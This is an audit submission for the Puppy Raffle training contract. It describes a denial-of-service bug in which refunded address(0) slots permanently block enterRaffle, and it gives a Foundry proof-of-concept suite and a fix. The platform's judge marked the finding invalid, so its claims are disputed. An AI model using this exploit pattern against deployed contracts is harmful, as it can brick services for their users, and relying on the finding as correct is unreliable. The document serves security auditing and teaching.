Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Impact: high
Likelihood: high
Invalid

Refunded address(0) slots count as duplicates in enterRaffle, so two refunds in one round make every later entry revert and can permanently brick the raffle at gas-only cost

Root + Impact

Description

  • enterRaffle should reject only addresses that are actually entered twice. refund should let a player leave while the raffle keeps running, and selectWinner should settle the round and reset players for the next round.

  • refund() marks a slot inactive by writing address(0) into it (L103) and leaves the slot in the array. The duplicate check in enterRaffle (L86-L89) compares every pair of slots, blank ones included, and never skips address(0). Once two slots hold address(0), the require at L88 fails on every later call. The only reset is delete players (L148) inside a successful selectWinner, which needs players.length >= 4 (L127) and enough balance to pay a prize based on players.length, and no owner function can clear the array.

// src/PuppyRaffle.sol L79-L105 (enterRaffle, refund)
function enterRaffle(address[] memory newPlayers) public payable {
require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send enough to enter raffle");
for (uint256 i = 0; i < newPlayers.length; i++) {
players.push(newPlayers[i]); // @> address(0) is accepted as an entrant
}
​
// Check for duplicates
for (uint256 i = 0; i < players.length - 1; i++) { // @> iterates over blank slots too
for (uint256 j = i + 1; j < players.length; j++) { // @>
require(players[i] != players[j], "PuppyRaffle: Duplicate player"); // @> two address(0) slots always fail here
}
}
emit RaffleEnter(newPlayers);
}
​
/// @param playerIndex the index of the player to refund. You can find it externally by calling `getActivePlayerIndex`
/// @dev This function will allow there to be blank spots in the array
function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
​
payable(msg.sender).sendValue(entranceFee);
​
players[playerIndex] = address(0); // @> slot is blanked, not removed
emit RaffleRefunded(playerAddress);
}
​
// src/PuppyRaffle.sol L125-L127, L148 (selectWinner: the only reset path)
function selectWinner() external {
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
// ...
delete players;

Risk

Likelihood:

  • Anyone can trigger it at any round boundary, meaning right after deployment or right after any selectWinner (which is permissionless). The attacker enters two addresses they control and refunds both. In the PoC the attacker holds 2e18 wei before and after, so the only cost is gas.

  • No attacker is needed. Refunds are a documented feature (natspec item 3, and L95 "allow there to be blank spots"), so two refunds in the same round is ordinary use. That alone closes entry for the rest of the round. In small or underfunded rounds the round can then never settle: in the PoC, 3 players with 2 refunds leaves length 3, and 5 players with 2 refunds leaves 3e18 against a 4e18 prize.

  • enterRaffle accepts address(0) directly, so a single refund after entering [A, address(0)] produces the same state. In the PoC this variant costs one entranceFee, which stays locked.

Impact:

  • Permanent loss of the protocol's core function. Every enterRaffle reverts with "PuppyRaffle: Duplicate player": for one fresh player, for four fresh distinct players, and for an empty zero-value call. selectWinner reverts with "Need at least 4 players". The PoC shows the same state after the owner calls changeFeeAddress and again 365 days later.

  • There is no way to recover. A blank slot cannot be refunded (L98), so its revert is "Only the player can refund". delete players is reachable only through a successful selectWinner. The owner has only changeFeeAddress plus the inherited Ownable functions, and the contract rejects plain ETH, so an underfunded pot cannot be topped up. The only remedy is a redeploy.

  • Funds already in the contract are not stolen: in the PoC, round-1 fees (0.8e18) can still be withdrawn and live players can still refund. The harm is a permanent denial of service for all future users. This is why Impact is rated High rather than direct loss of funds.

Proof of Concept

test/PoC_PR-04.t.sol deploys PuppyRaffle with a 1 ETH entrance fee. A baseline test shows that one refunded blank is tolerated and the round settles. The main test has an attacker enter [X, Y] and refund both, then asserts four things: the attacker's balance is unchanged, players[0] and players[1] are both address(0), every later enterRaffle reverts with "Duplicate player", and selectWinner reverts with "Need at least 4 players", even after changeFeeAddress and a 365-day warp. Other tests cover re-bricking after a draw (fees still withdrawable), the address(0)-entry variant, organic bricks from two honest refunds (3-player and insolvent 5-player rounds), the mid-round entry freeze and the all-blank state. Run it with forge test --match-path test/PoC_PR-04.t.sol -vv; all 8 tests pass.

File test/PoC_PR-04.t.sol; run FOUNDRY_FFI=false forge test --match-path test/PoC_PR-04.t.sol -vv.

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
pragma experimental ABIEncoderV2;
​
import {Test, console} from "forge-std/Test.sol";
import {PuppyRaffle} from "../src/PuppyRaffle.sol";
​
/// PR-04: refund() leaves address(0) in the players array (L103) and the duplicate
/// check in enterRaffle (L86-89) never skips address(0). Two blank slots make every
/// later enterRaffle revert with "Duplicate player". The only reset is `delete players`
/// inside a successful selectWinner (L148), which needs length >= 4 and a solvent pot.
contract PoC_PR04 is Test {
PuppyRaffle raffle;
uint256 constant FEE = 1e18;
uint256 constant DURATION = 1 days;
address owner = address(this);
address feeAddress = makeAddr("feeAddress");
​
function setUp() public {
raffle = new PuppyRaffle(FEE, feeAddress, DURATION);
}
​
// ---------------------------------------------------------------- helpers
​
function _addr(string memory name, uint256 i) internal returns (address) {
return makeAddr(string(abi.encodePacked(name, vm.toString(i))));
}
​
function _players(string memory name, uint256 n) internal returns (address[] memory ps) {
ps = new address[](n);
for (uint256 i = 0; i < n; i++) {
ps[i] = _addr(name, i);
}
}
​
function _one(address a) internal pure returns (address[] memory ps) {
ps = new address[](1);
ps[0] = a;
}
​
function _enterAs(address payer, address[] memory ps) internal {
vm.deal(payer, payer.balance + FEE * ps.length);
vm.prank(payer);
raffle.enterRaffle{value: FEE * ps.length}(ps);
}
​
function _winnerIndexFor(address caller, uint256 len) internal view returns (uint256) {
return uint256(keccak256(abi.encodePacked(caller, block.timestamp, block.difficulty))) % len;
}
​
/// Find a selectWinner caller whose draw lands on a blank (wantBlank) or live slot.
function _findCaller(address[] memory slots, bool wantBlank) internal view returns (address) {
for (uint256 k = 1; k < 1000; k++) {
address c = address(uint160(0xC0FFEE00 + k));
uint256 idx = _winnerIndexFor(c, slots.length);
if ((slots[idx] == address(0)) == wantBlank) return c;
}
revert("no caller found");
}
​
function _expectEntryBricked() internal {
address honest = makeAddr("honestNewcomer");
// single fresh player
vm.deal(honest, 10 * FEE);
vm.prank(honest);
vm.expectRevert(bytes("PuppyRaffle: Duplicate player"));
raffle.enterRaffle{value: FEE}(_one(makeAddr("freshZ")));
// four fresh, distinct players
address[] memory four = _players("freshGroup", 4);
vm.prank(honest);
vm.expectRevert(bytes("PuppyRaffle: Duplicate player"));
raffle.enterRaffle{value: 4 * FEE}(four);
// even an empty, zero-value entry
vm.prank(honest);
vm.expectRevert(bytes("PuppyRaffle: Duplicate player"));
raffle.enterRaffle{value: 0}(new address[](0));
}
​
// ---------------------------------------------------------------- baseline
​
/// Intended behaviour: rounds settle and reset; a single refunded blank does not block entry.
function test_Baseline_NormalRoundsAndSingleBlankWork() public {
address[] memory ps = _players("p", 4);
_enterAs(makeAddr("payer"), ps);
​
// one refund -> one blank slot; entry still works
vm.prank(ps[1]);
raffle.refund(1);
_enterAs(makeAddr("payer"), _one(makeAddr("p4")));
assertEq(raffle.players(4), makeAddr("p4"));
​
// draw settles (5 slots, 4 fee in balance, prize = 0.8 * 5 fee = 4 fee) and resets
address[] memory slots = new address[](5);
slots[0] = ps[0]; slots[1] = address(0); slots[2] = ps[2]; slots[3] = ps[3]; slots[4] = makeAddr("p4");
vm.warp(block.timestamp + DURATION + 1);
vm.prank(_findCaller(slots, false));
raffle.selectWinner();
assertTrue(raffle.previousWinner() != address(0), "winner paid");
​
// next round open
_enterAs(makeAddr("payer"), _one(makeAddr("nextRound")));
assertEq(raffle.players(0), makeAddr("nextRound"));
console.log("baseline: one blank tolerated, round settled, next round entry OK");
}
​
// ---------------------------------------------------------------- limb 1: attacker brick at round start
​
function test_AttackerBricksRaffleAtRoundStart_ForGasOnly() public {
address attacker = makeAddr("attacker");
address x = makeAddr("attackerX");
address y = makeAddr("attackerY");
vm.deal(attacker, 2 * FEE);
uint256 attackerSideBefore = attacker.balance + x.balance + y.balance;
​
address[] memory xy = new address[](2);
xy[0] = x;
xy[1] = y;
vm.prank(attacker);
raffle.enterRaffle{value: 2 * FEE}(xy);
vm.prank(x);
raffle.refund(0);
vm.prank(y);
raffle.refund(1);
​
uint256 attackerSideAfter = attacker.balance + x.balance + y.balance;
assertEq(attackerSideAfter, attackerSideBefore, "attacker recovers every wei (gas-only cost)");
assertEq(raffle.players(0), address(0));
assertEq(raffle.players(1), address(0));
console.log("attacker capital before/after (wei):", attackerSideBefore, attackerSideAfter);
​
// every entry now reverts
_expectEntryBricked();
​
// the draw can never run (length stuck at 2)
vm.warp(block.timestamp + DURATION + 1);
vm.expectRevert(bytes("PuppyRaffle: Need at least 4 players"));
raffle.selectWinner();
​
// blank slots cannot be refunded / cleared by anyone
vm.prank(makeAddr("anyone"));
vm.expectRevert(bytes("PuppyRaffle: Only the player can refund"));
raffle.refund(0);
​
// the owner's only lever does not help
raffle.changeFeeAddress(makeAddr("newFee"));
_expectEntryBricked();
​
// still dead a year later
vm.warp(block.timestamp + 365 days);
_expectEntryBricked();
vm.expectRevert(bytes("PuppyRaffle: Need at least 4 players"));
raffle.selectWinner();
console.log("raffle permanently bricked: entry reverts 'Duplicate player', draw reverts 'Need at least 4 players'");
}
​
/// selectWinner is permissionless, so the attacker can settle any round and brick the next one.
/// Accrued fees stay withdrawable (balance == totalFees after the attacker refunds).
function test_AttackerRebricksAfterADraw_FeesStillWithdrawable() public {
address[] memory ps = _players("r1_", 4);
_enterAs(makeAddr("payer"), ps);
vm.warp(block.timestamp + DURATION + 1);
address attacker = makeAddr("attacker");
vm.prank(attacker);
raffle.selectWinner(); // all 4 slots live, any caller works
uint256 feesAfterRound1 = raffle.totalFees();
assertEq(feesAfterRound1, (4 * FEE * 20) / 100);
​
// brick round 2 immediately
address x = makeAddr("attackerX");
address y = makeAddr("attackerY");
address[] memory xy = new address[](2);
xy[0] = x;
xy[1] = y;
_enterAs(attacker, xy);
vm.prank(x);
raffle.refund(0);
vm.prank(y);
raffle.refund(1);
​
_expectEntryBricked();
vm.warp(block.timestamp + DURATION + 1);
vm.expectRevert(bytes("PuppyRaffle: Need at least 4 players"));
raffle.selectWinner();
​
// fees are not lost
assertEq(address(raffle).balance, feesAfterRound1);
raffle.withdrawFees();
assertEq(feeAddress.balance, feesAfterRound1);
console.log("round 2 bricked; round-1 fees withdrawn (wei):", feeAddress.balance);
}
​
// ---------------------------------------------------------------- limb 5: alternative trigger
​
function test_AlternativeTrigger_EnterAddressZeroThenOneRefund() public {
address a = makeAddr("A");
address[] memory ps = new address[](2);
ps[0] = a;
ps[1] = address(0); // enterRaffle accepts address(0)
_enterAs(makeAddr("attacker"), ps);
assertEq(raffle.players(1), address(0));
​
vm.prank(a);
raffle.refund(0);
​
_expectEntryBricked();
vm.warp(block.timestamp + DURATION + 1);
vm.expectRevert(bytes("PuppyRaffle: Need at least 4 players"));
raffle.selectWinner();
// note: this variant costs the attacker one entranceFee (the address(0) ticket is unrefundable)
assertEq(address(raffle).balance, FEE);
console.log("address(0) entry + one refund also bricks entry; stuck wei:", address(raffle).balance);
}
​
// ---------------------------------------------------------------- limb 2: organic brick
​
/// Three honest players, two of them refund: length 3 < 4, entry closed -> dead forever.
function test_OrganicBrick_SmallRoundTwoHonestRefunds() public {
address[] memory ps = _players("h", 3);
_enterAs(makeAddr("payer"), ps);
vm.prank(ps[0]);
raffle.refund(0);
vm.prank(ps[2]);
raffle.refund(2);
​
_expectEntryBricked();
vm.warp(block.timestamp + DURATION + 1);
vm.expectRevert(bytes("PuppyRaffle: Need at least 4 players"));
raffle.selectWinner();
console.log("organic: 3 players, 2 refunds -> entry and draw both dead");
}
​
/// Five honest players, two refund: length 5 but balance 3 fee < prize 4 fee. No caller can settle,
/// nobody can enter to top up, and the contract has no receive(). Permanently stuck.
function test_OrganicBrick_InsolventRoundTwoHonestRefunds() public {
address[] memory ps = _players("h", 5);
_enterAs(makeAddr("payer"), ps);
vm.prank(ps[1]);
raffle.refund(1);
vm.prank(ps[3]);
raffle.refund(3);
​
_expectEntryBricked();
vm.warp(block.timestamp + DURATION + 1);
for (uint256 k = 1; k <= 25; k++) {
vm.prank(address(uint160(0xBEEF00 + k)));
vm.expectRevert(bytes("PuppyRaffle: Failed to send prize pool to winner"));
raffle.selectWinner();
}
// topping up is impossible: no receive/fallback
vm.deal(address(this), 1 ether);
(bool ok,) = address(raffle).call{value: 1 ether}("");
assertFalse(ok, "contract rejects plain ETH");
console.log("organic: 5 players, 2 refunds -> balance/prize (wei):", address(raffle).balance, (5 * FEE * 80) / 100);
}
​
// ---------------------------------------------------------------- limbs 3 + 4: larger round
​
/// Ten players, two refund: entry closes for the rest of the round. The draw can still settle
/// if it lands on a live slot; a draw that lands on a blank reverts in _safeMint.
function test_MidRoundEntryFreeze_LargeRound() public {
address[] memory ps = _players("big", 10);
_enterAs(makeAddr("payer"), ps);
vm.prank(ps[2]);
raffle.refund(2);
vm.prank(ps[5]);
raffle.refund(5);
​
_expectEntryBricked();
​
address[] memory slots = new address[](10);
for (uint256 i = 0; i < 10; i++) slots[i] = ps[i];
slots[2] = address(0);
slots[5] = address(0);
​
vm.warp(block.timestamp + DURATION + 1);
// draw landing on a blank slot: prize goes to address(0) via call, then mint to zero reverts
vm.prank(_findCaller(slots, true));
vm.expectRevert(bytes("ERC721: mint to the zero address"));
raffle.selectWinner();
​
// draw landing on a live slot settles and resets the array
vm.prank(_findCaller(slots, false));
raffle.selectWinner();
_enterAs(makeAddr("payer"), _one(makeAddr("afterReset")));
assertEq(raffle.players(0), makeAddr("afterReset"));
console.log("large round: entry frozen mid-round, draw on live slot resets it");
}
​
/// All-blank terminal state: every remaining player refunds, every draw reverts for every caller.
function test_AllBlankTerminalState() public {
address[] memory ps = _players("big", 10);
_enterAs(makeAddr("payer"), ps);
for (uint256 i = 0; i < 10; i++) {
vm.prank(ps[i]);
raffle.refund(i);
}
_expectEntryBricked();
vm.warp(block.timestamp + DURATION + 1);
for (uint256 k = 1; k <= 25; k++) {
vm.prank(address(uint160(0xD00D00 + k)));
vm.expectRevert(); // prize transfer fails (balance 0 < 8 fee); with enough balance _safeMint(0) would revert
raffle.selectWinner();
}
console.log("all-blank: 25/25 draws reverted, entry closed");
}
}

Recommended Mitigation

--- a/src/PuppyRaffle.sol
+++ b/src/PuppyRaffle.sol
@@ -79,14 +79,17 @@
function enterRaffle(address[] memory newPlayers) public payable {
require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send enough to enter raffle");
for (uint256 i = 0; i < newPlayers.length; i++) {
+ require(newPlayers[i] != address(0), "PuppyRaffle: Invalid player");
players.push(newPlayers[i]);
}
// Check for duplicates
for (uint256 i = 0; i < players.length - 1; i++) {
+ // refunded slots hold address(0) and are not players
+ if (players[i] == address(0)) continue;
for (uint256 j = i + 1; j < players.length; j++) {
require(players[i] != players[j], "PuppyRaffle: Duplicate player");
}
}
emit RaffleEnter(newPlayers);
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!